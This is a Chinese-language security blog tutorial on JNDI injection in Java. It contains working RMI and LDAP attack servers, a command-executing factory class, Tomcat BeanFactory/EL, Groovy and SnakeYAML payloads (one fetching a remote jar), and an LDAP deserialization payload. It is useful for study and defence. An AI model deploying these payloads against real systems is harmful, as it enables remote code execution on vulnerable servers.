Skip to content
blogs of mekrina
Go back

JNDI注入

Updated:
Edit page

JNDI概念

JNDI,java naming and directory interface,是一个用于根据名字查询对象或属性的接口,具体操作由各个provider实现,比如RMI、LDAP。可以查本地容器资源,比如tomcat的jdbc配置

InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mydb");

也可以查远程资源

ctx.lookup("rmi://127.0.0.1:1099/xxx");

当客户端lookup的参数可控时,将导致 远程类加载、指定方法调用、反序列化的漏洞。

package RMI.ClientAttacker.ByReference;  
  
import javax.naming.InitialContext;  
import java.io.IOException;  
  
public class RMIClient {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        String userInput = "";
        try {  
            InitialContext itx = new InitialContext();  
            Object obj = itx.lookup(userInput);  
//            System.out.println(obj.getClass());  远程方法调用
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

可利用版本如下

807

导致JNDI的lookup

LdapCtx.c_lookup()
ComponentContext.p_lookup()
PartialCompositeContext.lookup()
GenericURLContext.lookup()
ldapURLContext.lookup()
InitialContext.lookup()

远程类加载

JNDI可以lookup一个Reference资源,Reference相当于是一个如何创建对象的说明书,包括目标类名,工厂类,工厂类地址。客户端lookup,如果得到的是Reference对象, 会获取这个工厂类(本地或远程)并实例化,然后调用factory.getObjectInstance创建对象。factory会根据Reference中的目标类名来创建并返回对象。

因此存在任意远程类加载、本地类加载的安全问题

在javax.naming.spi.NamingManager#getObjectFactoryFromReference中 先尝试在本地中加载该工厂类,如果找不到,就在指定的远程中加载。

RMI as provider

这时,如果这个工厂类是远程恶意类,在加载或实例化时,可以执行恶意代码。

具体举个例子,先启动一个注册表,绑定一个Reference,名字叫Exploit

package RMI.ClientAttacker.ByReference;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class RMIRegistry {  
  
    public static void main(String[] args) {  
        try {  
            Registry registry = LocateRegistry.createRegistry(1099);  
            Reference reference = new Reference("Exploit","ExploitFactory","http://127.0.0.1:8888/");  
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);  
            registry.bind("Exploit", referenceWrapper);  
            System.out.println("RMI registry started...");  
        } catch (RemoteException | AlreadyBoundException | NamingException e) {  
            e.printStackTrace();  
        }  
    }  
}

客户端lookup这个Exploit:rmi://127.0.0.1:1099/Exploit

当客户端lookup这个Exploit的时候,判断本地没有Exploit这个类,会去远程加载 http://127.0.0.1:8888/ExploitFactory.class 作为factory,然后去实例化这个类。如果这个类引用了其他自定义类,也会去查找对应类的class文件

因此创建一个ExploitFactory类,编译,并启动http目录服务

import java.io.IOException;
import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExploitFactory implements ObjectFactory{
	static{
		try {
			Runtime.getRuntime().exec("calc.exe");
		} catch (IOException e) {
		}
	}

	@Override
	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment){
		return 1;
	}
}

这里getObjectInstance返回的结果,就是客户端lookup的最终结果,可以根据客户端希望的类来调整,就可以不报错。

在高版本jdk中,sink点com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.String)中加上了条件

而默认情况下trustURLCodebase为false。所以上述方法无法再加载任意远程类。

LDAP as provider

Server不管客户端lookup什么,都返回一个这样一个entry,客户端在收到后就会尝试远程加载ExploitFactory类

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", "http://127.0.0.1:8888");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "ExploitFactory.class");

Server:

package LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args){

        int port = 11389;
        String codebase = "http://localhost:8888";
        String remoteFactoryClassName = "ExploitFactory.class";

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(codebase, remoteFactoryClassName));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private String codebase;
        private String remoteFactoryClassName;

        public OperationInterceptor (String cb, String cn) {
            this.codebase = cb;
            this.remoteFactoryClassName = cn;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + codebase + "/" + remoteFactoryClassName);

                e.addAttribute("javaClassName", "foo");
                e.addAttribute("javaCodeBase", codebase);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", remoteFactoryClassName);

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
    }
}

客户端lookup之后,得到这些属性

alt text

javaClassName必须存在才会视为java对象相关项目做后续操作,然后客户端会判断是否存在objectClass键,以及对应值是否包含”javaNamingReference”,如果是则根据这些属性构建出一个Reference对象。

alt text

后续的就和RMI类似,根据Reference对象加载Factory,然后执行getObjectInstance

alt text

在JDK8u191中加上了trustURLCodebase选项 alt text

之后的版本利用主要是反序列化、本地类加载(?)

RMI本地类加载

利用条件: tomcat8+或者SpringBoot 1.2.x+或其他有可以利用的factory类的环境

虽然无法加载远程factory,但是可以从本地加载,也就是说我们可以指定任意的本地factory进行加载、实例化、然后执行factory.getObjectInstance

tomcat BeanFactory

依赖:tomcat-embed-core 版本:7.x, <= 8.5.78, <= 9.0.62, <= 10.0.20 效果:实例化类并执行指定函数(public,限参数为单个String类型)

这里factory可以用org.apache.naming.factory.BeanFactory

BeanFactory的getObjectInstance方法可以实例化我们指定的类,并获取bean的属性以及对应setter(bi.getPropertyDescriptors),然后根据ResourceRef对象的ra,获取需要设置的属性以及对应的值,调用对应setter设置属性。

首先 Reference 类得换成 ResourceRef类进入if语句。

根据属性名获取并调用对应setter设置属性值

但在合适版本中,可以使用forceString属性来强制设置某个属性的setter,比如forceString: x=eval, 后续设置x的值的时候就会调用eval方法作为setter。x: 1+1,则执行javax.el.ELProcessor#eval("1+1")

但这个指定的函数必须是public,且只有一个String类型的参数

807

高版本禁用了forceString选项,无法指定指定setter方法

ELProcessor

javax.el.ELProcessor#eval方法

完整tomcat容器或tomcat-embed-el依赖。 要存在org.apache.el.ExpressionFactoryImpl这个类才可以初始化。

tomcat 7中没有这个类,10以后叫 jakarta.el.ELProcessor

package RMI;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;  
  
import javax.annotation.Resource;  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import javax.naming.StringRefAddr;  
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
import java.sql.Ref;  
  
public class LocalFactoryRegistry {  
  
    public static ResourceRef getTomcatELProcessor() throws NamingException, RemoteException {  
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, null, null, true, "org.apache.naming.factory.BeanFactory", null);  
        ref.add(new StringRefAddr("forceString", "x=eval"));  
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));  
  
        return ref;  
    }  
  
    public static void main(String[] args) {  
        try {  
            Registry registry = LocateRegistry.createRegistry(11099);  
  
            // choose a payload  
            ResourceRef ref = getTomcatELProcessor();  
//            ResourceRef ref = getTomcatMLet();  
  
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
            registry.bind("Exploit", referenceWrapper);  
  
            System.out.println("RMI registry started...");  
        } catch (RemoteException | AlreadyBoundException | NamingException e) {  
            e.printStackTrace();  
        }  
    }  
}

MLet

是JDK自带的一个类, 继承URLClassLoader。这里loadClass不会触发static块加载。

可以用来探测漏洞以及某个类是否存在。如果访问了远端http://127.0.0.1:2333,说明漏洞存在。

在URL前面先尝试加载一个类,如果后续还是访问了远端,说明这个类存在。

public static ResourceRef getTomcatMLet()  throws NamingException, RemoteException {  
    ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",  
            true, "org.apache.naming.factory.BeanFactory", null);  
    ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));  
    ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));  
    ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));  
    ref.add(new StringRefAddr("c", "Blue"));  
    return ref;  
}

注意,在tomcat部署的app中,javax.el.ELProcessor 等类需要webAppClassLoader才能加载到,MLet加载不到不一定证明不存在这个类或不可利用(BeanFactory是用webAppClassLoader加载类的,可以加载到就可以用)。普通java程序(通过maven加载tomcat运行)可以加载到。

Groovy

需要额外的groovy依赖

groovy.lang.GroovyShell#evaluate,任意java代码执行

public static ResourceRef getTomcatGroovyShell()  throws NamingException, RemoteException {  
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);  
    ref.add(new StringRefAddr("forceString", "x=evaluate"));  
    ref.add(new StringRefAddr("x","Runtime.getRuntime().exec(\"calc\")"));  
    return ref;  
}

groovy.lang.GroovyClassLoader#parseClass

public static ResourceRef getTomcatGroovy()  throws NamingException, RemoteException {  
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);  
    ref.add(new StringRefAddr("forceString", "x=parseClass"));  
    String script = "@groovy.transform.ASTTest(value={\n" +  
            "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +  
            "})\n" +  
            "def x\n";  
    ref.add(new StringRefAddr("x",script));  
    return ref;  
}

Snakeyaml

依赖版本: 1.0 ~ 1.33 org.yaml.snakeyaml.Yaml#load

snakeyaml反序列化可用payload以及原理 https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90/

private static ResourceRef tomcatSnakeyaml(){
    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
            "  !!java.net.URLClassLoader [[\n" +
            "    !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
            "  ]]\n" +
            "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));
    return ref;
}

NativeLibLoader

com.sun.glass.utils.NativeLibLoader#loadLibrary 加载任意链接库, 配合文件上传RCE

private static ResourceRef tomcat_loadLibrary(){
    ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
    ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
    return ref;
}

MemoryUserDatabaseFactory

org.apache.catalina.users.MemoryUserDatabaseFactory

同样在tomcat下

其他

待学习…

https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/

LDAP反序列化

有两个反序列化的地方。

第一个是com.sun.jndi.ldap.Obj#decodeObject,判断服务端返回的属性中是否存在javaSerializedData,如果是直接反序列化,反序列化的对象和构建Reference是属于同一层级的,后。如果有gadget就可以打。

alt text

第二个是 com.sun.jndi.ldap.Obj#decodeReference,构建Reference时,如果type后面跟两个分隔符#0#type##....后续的数据会被base64解码后反序列化。反序列化的结果作为Reference的一个RefAddr项

alt text

发现这个函数其实注释说的很清楚

alt text

LDAP本地类加载

从上面的RMI的利用代码可以看出来, 主要是三个参数:Factory、TargetClass、RefAddr(作为创建对象的参数)。ldap这里可以设置javaReferenceAddress参数。

注意这里javaReferenceAddress的写法,第一个字符#作为分割符,然后就是键值对。

// 实际不可用
    public static Entry getTomcatELProcessor(String base){
        Entry e = new Entry(base);
        e.addAttribute("javaClassName", "javax.el.ELProcessor");
        e.addAttribute("objectClass", "javaNamingReference");
        e.addAttribute("javaReferenceAddress", "#0#forceString#x=eval");
        e.addAttribute("javaReferenceAddress", "#1#x#\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")");
        e.addAttribute("javaFactory", "org.apache.naming.factory.BeanFactory");
        return e;
    }

这样能创建一个Reference对象,但是进入BeanFactory后,要求创建的Reference是ResourceRef类实例,所以这里没法直接用。

alt text

但是我们可以反序列化一个ResourceRef对象,在没有gadget可用的时候,可以打本地类加载。

    public static Entry getTomcatELProcessor(String base) throws IOException {
        Entry e = new Entry(base);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, null, null, true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ref);

        e.addAttribute("javaSerializedData", baos.toByteArray());
        e.addAttribute("javaClassName", "foo");
        e.addAttribute("javaFactory", "org.apache.naming.factory.BeanFactory");
        return e;
    }

Edit page